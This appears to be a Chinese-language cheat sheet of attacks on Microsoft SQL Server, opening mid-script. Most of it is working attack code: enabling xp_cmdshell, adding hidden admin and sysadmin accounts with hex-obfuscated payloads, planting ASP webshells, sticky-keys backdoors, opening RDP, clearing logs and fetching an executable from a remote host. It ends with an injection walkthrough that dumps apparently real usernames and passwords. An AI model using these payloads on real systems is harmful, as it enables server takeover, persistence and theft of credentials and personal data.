exec master..xp_cmdshell @sql
fetch next from #tb into @m_tbname
end
close #tb
deallocate #tb
end
go /************* oracle **************/
EXEC sp_addlinkedserver 'OracleSvr',
'Oracle 7.3',
'MSDAORA',
'ORCLDB'
GO delete from openquery(mailser,'select * from yulin')
select * from openquery(mailser,'select * from yulin')
update openquery(mailser,'select * from yulin where id=15')set disorder=555,catago=888
insert into openquery(mailser,'select disorder,catago from yulin')values(333,777) 补充:
对于用bcp导出,是没有字段名的.
用openrowset导出,需要事先建好表.
用openrowset导入,除ACCESS及EXCEL外,均不支持非本机数据导入
SQL存储过程
sql2005恢复xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
关闭:EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
零、
-- 添加SA用户-- 1、exec master.dbo.sp_addlogin system;
2、exec master.dbo.sp_addlogin system,system;
3、exec master.dbo.sp_addsrvrolemember itpro,sysadmin 防注入 sa:itpro pass:itpro
declare @s varchar(4000) set @s=cast(0x65786563206d61737465722e64626f2e73705f6164646c6f67696e20697470726f as varchar(4000));exec(@s); declare @c varchar(4000) set @c=cast(0x65786563206d61737465722e64626f2e73705f70617373776f7264206e756c6c2c697470726f2c697470726f as varchar(4000));exec(@c); declare @a varchar(4000) set @a=cast(0x65786563206d61737465722e64626f2e73705f616464737276726f6c656d656d6265722027697470726f272c2073797361646d696e as varchar(4000));exec(@a);-- and 1=1 防注入 sa:system pass:system
declare @s varchar(4000) set @s=cast(0x65786563206d61737465722e64626f2e73705f6164646c6f67696e2073797374656d2c73797374656d as varchar(4000));exec(@s);declare @a varchar(4000) set @a=cast(0x65786563206d61737465722e64626f2e73705f616464737276726f6c656d656d626572202773797374656d272c2073797361646d696e as varchar(4000));exec(@a);-- and 1=1
一、
-恢复存储过程- use master
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
exec sp_dropextendedproc "xp_cmdshell"
exec sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
exec sp_dropextendedproc 'xp_cmdshell'
exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
exec sp_addextendedproc xp_dirtree,'xpstar.dll'
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
exec sp_addextendedproc xp_regread,'xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
exec sp_addextendedproc xp_availablemedia,'xpstar.dll' 恢复cmdshell防注入
declare @a varchar(255),@b varchar(255),@c varchar(255);
set @a=0x6D61737465722E2E73705F616464657874656E64656470726F63;
set @b=0x78705F636D647368656C6C;
set @c=0x78706C6F6737302E646C6C;
exec @a @b,@c 二、
--恢复sp_addextendedproc存储过程-- create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO 三、
--使用存储过程加管理方法-- 1、master.dbo.xp_cmdshell 'net user itpro gmasfm && net localgroup administrators itpro /add'
2、EXEC sp_resolve_logins 'text', 'e:\asp\"&net user admina admin /add&net localgroup administrators admina /add&dir "e:\asp', '1.asp'
3、DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD
@shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user sadfish fish /add' 四、
-- 导出文件的存储过程 -- DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINdows\system32\cmd.exe /c netstat -an >c:\1.txt' 五、
-- 读取文件的存储过程 -- declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\1.txt', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end 六、
-----写一句话木马----- declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\Inetpub\tianhong\2.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<%execute(request("a"))%>' ' ' 单引号为要写的内容
<%25 if request("x")<>"" then execute(request("x"))%25> 防注入写入法
declare @a int,@b int,@c varchar(255),@d varchar(255),@e varchar(255),@f varchar(255),@g varchar(255),@h varchar(255),@i varchar(255),@j varchar(255);
set @c=0x6D61737465722E2E73705F6F61637265617465;
set @d=0x6D61737465722E2E73705F6F616D6574686F64;
set @e=0x536372697074696E672E46696C6573797374656D4F626A656374;
set @f=0x4372656174655465787446696C65;
set @g=0x433A5C496E65747075625C73797374656D2E617370;
set @h=0x74727565;
set @i=0x7772697465;
set @j=0x3C256576616C20726571756573742822582229253E;
exec @c @e,@a output;
exec @d @a,@f,@b output,@g,@h;
exec @d @b,@i,null,@j 七、
-----写一句话木马----- declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003e000d000a002700;exec sp_makewebtask 0x43003a005c007a00770065006c006c002e00610073007000, @s;-- and% 1=1
在上面一样;exec%20sp_makewebtask%20'd:\zjkdj\zjkdj\zjkds\bake.asp,'%20select%20''<%25execute(request("a"))%25>''%20';-- 八、
---SA沙盒模式提权----- 1、exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;-- 2、Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user itpro gmasfm /add")'); 九、
-----另类SA提权----- 2、declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out
exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
1、declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe'; DECLARE @o int
DECLARE @z int
EXEC sp_OACreate 'Shell.Users',@o OUT
EXEC sp_OAMethod @o, 'Create', @z OUT, 'test'
EXEC sp_OASetProperty @z, 'setting', 3 , 'AccountType'
EXEC sp_OAMethod @z, 'ChangePassword',NULL , '123456', '' 十、
--导出注册表-- 1、drop table [regdir];create table [regdir](value nvarchar(1000) null,data nvarchar(1000) null)-- 2、delete [regdir];insert [regdir]exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port' 十一、
---下载程序----- 1、declare @b varbinary(8000),@hr int,@http int,@down int exec sp_oacreate [microsoft.xmlhttp],@http output exec @hr = sp_oamethod @http,[open],null,[get],[[url=http://192.168.1.6:800/wwwroot.rar]链接标记http://192.168.1.6:800/wwwroot.rar[/url]],0 exec @hr = sp_oamethod @http,[send],null exec @hr=sp_oagetproperty @http,[responsebody],@b output exec @hr=sp_oacreate [adodb.stream],@down output exec @hr=sp_oasetproperty @down,[type],1 exec @hr=sp_oasetproperty @down,[mode],3 exec @hr=sp_oamethod @down,[open],null exec @hr=sp_oamethod @down,[write],null,@b exec @hr=sp_oamethod @down,[savetofile],null,[c:/a.exe],1 ;-- and 1=1 十二、
-Log备份WebShell- alter database master set RECOVERY FULL
create table cmd (a image)--
backup log master to disk = 'c:\cmd' with init
insert into cmd (a) values ('<%eval(request("a")):response.end%>')--
backup log master to disk = 'C:\Inetpub\wwwroot\ri3.asp'--
drop table cmd--
2\ use mir
alter database mir set RECOVERY FULL --
create table cmd8 (a image)--
backup log mir to disk = 'c:\cmd8' with init --
insert into cmd8 (a) values ('<%eval(request("a")):response.end%>')--
backup log mir to disk = 'c:\backup.asp'--
drop table cmd8--
alter database mir set RECOVERY SIMPLE --
3\
create/**/table/**/[dbo].[shit_tmp]/**/([cmd]/**/[image])--
declare/**/@a/**/sysname,@s/**/nvarchar(4000)/**/select/**/@a=db_name(),@s=0x6C0061006F007A0068006F007500/**/backup/**/log/**/@a/**/to/**/disk/**/=/**/@s/**/with/**/init,no_truncate--
insert/**/into/**/[shit_tmp](cmd)/**/values(0x3C256576616C28726571756573742822612229293A726573706F6E73652E656E64253E)--
select/**/@s=0x63003a005c0031002e00610073007000/**/backup/**/log/**/@a/**/to/**/disk=@s/**/with/**/init,no_truncate--
Drop/**/table/**/[shit_tmp]--
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 十三、
-------------------------------
--创建sp_readtextfile存储过程--
-------------------------------
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Create proc sp_readTextFile @filename sysname
as begin
set nocount on
Create table #tempfile (line varchar(8000))
exec ('bulk insert #tempfile from "' + @filename + '"')
select * from #tempfile
drop table #tempfile
End
go xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 十四、开3389
===================================================================
declare @a varchar(255),@b varchar(255); set @a=0x6D61737465722E64626F2E78705F636D647368656C6C; set @b=0x636D64202F6320776D6963205244544F47474C45205748455245205365727665724E616D653D2725434F4D50555445524E414D4525272063616C6C20536574416C6C6F775453436F6E6E656374696F6E732031; exec @a @b
=================================================================== 我记得2003的web目录是写在C:\WINDOWS\system32\inetsrv\MetaBase.xml
-----------------
---读取文件内容--
-----------------
exec sp_readTextFile 'c:\boot.ini' xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\cmd.exe' -----------------------
---清除MsSql日志-------
-----------------------
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
set nocount on
declare @logicalfilename sysname,
@maxminutes int,
@newsize int
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ----------------------
--停掉或激活某个服务--
----------------------
exec master..xp_servicecontrol 'stop','sharedaccess'
exec master..xp_servicecontrol 'start','sharedaccess' --------------------
--列出驱动器的名称--
-------------------- EXEC [master].[dbo].[xp_availablemedia] ----------------------------------
--列出指定目录的所有下一级子目录--
---------------------------------- EXEC [master].[dbo].[xp_subdirs] 'c:\windows' ------------------------------
--列出当前错误日志的具体内容--
------------------------------ EXEC [master].[dbo].[xp_readerrorlog] ----------------------
--列出当前计算机名称--
---------------------- execute master..xp_getnetname --------------------------------
-列出当前计算机的驱动器可用空间-
-------------------------------- execute master..xp_fixeddrives ========================
==列出服务器所有本地组==
======================== execute master..xp_enumgroups ======================
==获取MS SQL的版本号==
====================== execute master..sp_msgetversion =========================================
==参数说明:目录名,目录深度,是否显示文件==
========================================= execute master..xp_dirtree 'c:'
execute master..xp_dirtree 'c:',1
execute master..xp_dirtree 'c:',1,1 =========================================
==列出服务器上安装的所有OLEDB提供的程序==
========================================= execute master..xp_enum_oledb_providers =========================
==列出服务器上配置的DNS==
========================= execute master..xp_enumdsn 删除存储过程 drop PROCEDURE sp_addextendedproc -----------------------
--删除sql危险存储过程--
----------------------- xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
DROP PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_cmdshell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
exec master..sp_dropextendedproc xp_regaddmultistring
exec master..sp_dropextendedproc xp_regdeletekey
exec master..sp_dropextendedproc xp_regdeletevalue
exec master..sp_dropextendedproc xp_regenumkeys
exec master..sp_dropextendedproc xp_regenumvalues
exec master..sp_dropextendedproc sp_add_job
exec master..sp_dropextendedproc sp_addtask
exec master..sp_dropextendedproc xp_regread
exec master..sp_dropextendedproc xp_regwrite
exec master..sp_dropextendedproc xp_readwebtask
exec master..sp_dropextendedproc xp_makewebtask
exec master..sp_dropextendedproc xp_regremovemultistring
exec master..sp_dropextendedproc sp_OACreate
DROP PROCEDURE sp_addextendedproc
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xp_cmdshell新的恢复办法 扩展储存过程被删除以后可以有很简单的办法恢复:
删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell' 恢复
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 这样可以直接恢复,不用去管sp_addextendedproc是不是存在 删除扩展存储过过程xp_cmdshell的语句:
exec sp_dropextendedproc 'xp_cmdshell' 恢复cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 开启cmdshell的sql语句 exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 判断存储扩展是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok 恢复xp_cmdshell
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok 否则上传xplog7.0.dll
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll' 堵上cmdshell的sql语句
sp_dropextendedproc "xp_cmdshell 读3389端口
regedit /e port.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
然后 type port.reg | find "PortNumber"
sql 语句
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
declare @s varchar(4000) set @s=cast(0x65786563206D61737465722E2E78705F726567726561642027484B45595F4C4F43414C5F4D414348494E45272C2753595354454D5C43757272656E74436F6E74726F6C5365745C436F6E74726F6C5C5465726D696E616C205365727665725C57696E53746174696F6E735C5244502D546370272C27506F72744E756D62657227 as varchar(4000));exec(@s); -- 开启2003的终端(sa)
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\Terminal Server', 'fDenyTSConnections','REG_DWORD','0' exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--
SQL构造having语句暴字段
一、获得建立用户的表的名字和字段的名字;使用select语法的having子句。
''having 1=1-- 返回结果:
Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''
列 ''reguser.reg_id'' 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。
/football/reguser/check.asp,行26
成果:知道了表的名字reguser和第一个字段的名字reguser.reg_id。 二、通过字段放到group by子句找到字段名。
1、
''group by reguser.reg_id having 1=1-- 返回结果:
Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''
列 ''reguser.reg_name'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_name字段
2、
''group by reguser.reg_id,reguser.reg_name having 1=1-- 返回结果:
Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''
列 ''reguser.reg_password'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_password字段
3、
''group by reguser.reg_id,reguser.reg_name,reguser.reg_password having 1=1-- 返回结果:
Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''
列 ''reguser.reg_relname'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_relname字段
4、
''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname having 1=1-- 返回结果:
Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''
列 ''reguser.reg_regtime'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_regtime字段
5、
''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime having 1=1-- 返回结果:
Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''
列 ''reguser.reg_findme'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_findme字段
6、
''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme having 1=1-- 返回结果:
Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''
列 ''reguser.reg_city'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_city字段
7、
''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city having 1=1-- 返回结果:
Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''
列 ''reguser.reg_qq'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_qq字段
8、
''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq having 1=1-- 返回结果:
Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''
列 ''reguser.reg_icq'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_icq字段 9、
''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq having 1=1-- 返回结果:
Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''
列 ''reguser.reg_msn'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_msn字段
10、
''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn having 1=1-- 返回结果:
Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''
列 ''reguser.reg_phone'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_phone字段
11、
''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone having 1=1-- 返回结果:
Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''
列 ''reguser.reg_class'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_class字段
12、
''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class having 1=1-- 返回结果:
Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''
列 ''reguser.reg_money'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_money字段
13、
''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money having 1=1-- 返回结果:
Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''
列 ''reguser.reg_regip'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_regip字段
14、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip having 1=1-- 返回结果:
Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''
列 ''reguser.reg_Estar'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_Estar字段
15、
''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar having 1=1-- 返回结果:
Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''
列 ''reguser.reg_Eend'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_Eend字段
16、
''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend having 1=1-- 返回结果:
Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''
列 ''reguser.reg_changeuser'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_changeuser字段
17、
''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser having 1=1-- 返回结果:
Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''
列 ''reguser.reg_changetime'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_changetime字段
18
''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser,reguser.reg_changetime having 1=1-- 返回结果:
Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''
列 ''reguser.reg_logintime'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_logintime字段
19
''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser,reguser.reg_changetime,reguser.reg_logintime having 1=1-- 返回结果:
Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''
列 ''reguser.reg_online'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:得到了reguser.reg_online字段
20
''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser,reguser.reg_changetime,reguser.reg_logintime,reguser.reg_online having 1=1-- 返回结果:
出现信息提示框;你还不是会员请注册
到这里一个表猜完。
三、确定列的类型。通过使用类型转化来实现:利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。
1、
''union select sum(reguser.reg_name) from reguser-- 返回结果:
Microsoft OLE DB Provider for SQL Server 错误 ''80040e07''
sum or average aggregate 运算不能以 varchar 数据类型作为参数。
/football/reguser/check.asp,行26
成果:reguser.reg_name字段是数据类型varchar。
2、
''union select sum(reguser.reg_id) from reguser-- 返回结果:
Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''
包含 UNION 运算符的 SQL 语句中的所有查询都必须在目标列表中具有相同数目的表达式。
/football/reguser/check.asp,行26
四、insert查询: '';insert into reguser values(666,''attacker'',''foobar'')-- 五、
''union select from reguser where reguser.reg_name=''admin''--
'';select from reguser where reguser.reg_name=''admin''-- '';updata reguser set reguser.reg_password=''36d201fb337dc23bde4d143491cfae4d'' where reguser.reg_name=''admin''--
''union updata reguser set reguser.reg_password=''36d201fb337dc23bde4d143491cfae4d'' where reguser.reg_name=''admin''-- 六、从reguser表中读取用户名:
''union select min(reguser.reg_name),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from reguser where reguser.reg_name>''a''--
这句选择users表中username大于''a''中的最小值,并试图把它转化成一个整型数字: 收集密码:
''union select reguser.reg_password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from reguser where reguser.reg_name>''admin''--
''union select password,1,1,1 from users where username=''admin''--
13535701998 创建了一个foo表,里面只有一个单独的列''ret'',里面存放着得到的用户名和密码的字符串
'';begin declare @ret varchar(8000) set @ret='':'' select @ret=@ret+'' ''+reguser.reg_name+''/''+reguser.reg_password from reguser where reguser.reg_name>@ret select @ret as 1866574 into 1866574 end-- ''union select ret,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from foo-- Microsoft OLE DB Provider for SQL Server 错误 ''80040e07''
将 varchar 值 '': 383838/989898 123456/234567 korea007/154085 风681168/13535701998 kyo327/woaini denglong/247986965'' 转换为数据类型为 int 的列时发生语法错误。
/football/reguser/check.asp,行26 '';drop table foo-- admin'';declare @o int,@ret int exec sp_oacreate ''speech.voicetext'',@o out exec sp_oamethod @o,''register'',NULL,''foo'',''bar'' exec sp_oasetproperty @o,''speed'',150 exec sp_oamethod @o,''speak'',NULL,''all your sequel servers are belong to us'',528 waitfor delay ''00:00:05''-- =-= 加帐号 =-=
'';Exec master..xp_cmdshell ''net user''-- '';Exec master..xp_cmdshell ''net user jiaoniang$ 1866574 /add''--
'';Exec master..xp_cmdshell ''net localGroup Administrators jiaoniang$ /add''-- '';exec master..sp_addlogin jiaoniang$,1866574--
'';exec master..sp_addsrvrolemember jiaoniang$,sysadmin-- '';exec xp_regread HKEY_LOCAL_MACHINE,''SYSTEM\CurrentControlSet\Services\lanmanserver\parameters'',''nullsessionshares''-- =-= 开服务 =-=
'';Exec master..xp_cmdshell ''net stat telnet''--
'';Exec master..xp_cmdshell ''net stat server''-- =-= 开3389 =-=
'';Exec master..xp_cmdshell "echo [Components] > c:\1866574"--
//在c盘根目录建写入一个文件
'';Exec master..xp_cmdshell "echo TsEnable = on >> c:\1866574"--
//追加写入
'';Exec master..xp_cmdshell "sysocmgr /i:c:\windows\inf\sysoc.inf /u:c:\1866574 /q"--
//开3389,成功的话过会肉机会重启!!
sysobjects表无select权限时暴表
所有的表名都只存在了sysobjects表里,所以我们无法从别的地方得到表名。 但是,大家有没注意过sql server提供的object_name函数呢?
它与object_id函数是相对应的,object_id会返回指定对象在数据库中的id值。 而object_name会返回指定ID所对应的数据库对象名,对于表来说自然就是表名了。 好了,现在只要得到所有的用户表的ID就可以得到表名了, 表的ID在很多地方都会存储,比如syscolumns表,
我们只要从syscolumns表里面取得表的ID,再利用object_name就可以得到表名了。 下面是测试代码: declare @id int
select @id = 1
declare @sql varchar(100)
while @id <= 200
begin
select @sql = 'create table test'+ltrim(@id)+'(id int)'
exec(@sql)
select @id = @id +1
end select distinct(object_name(id)) from syscolumns where object_name(id) not in('sysobjects','sysindexes','syscolumns','systypes',
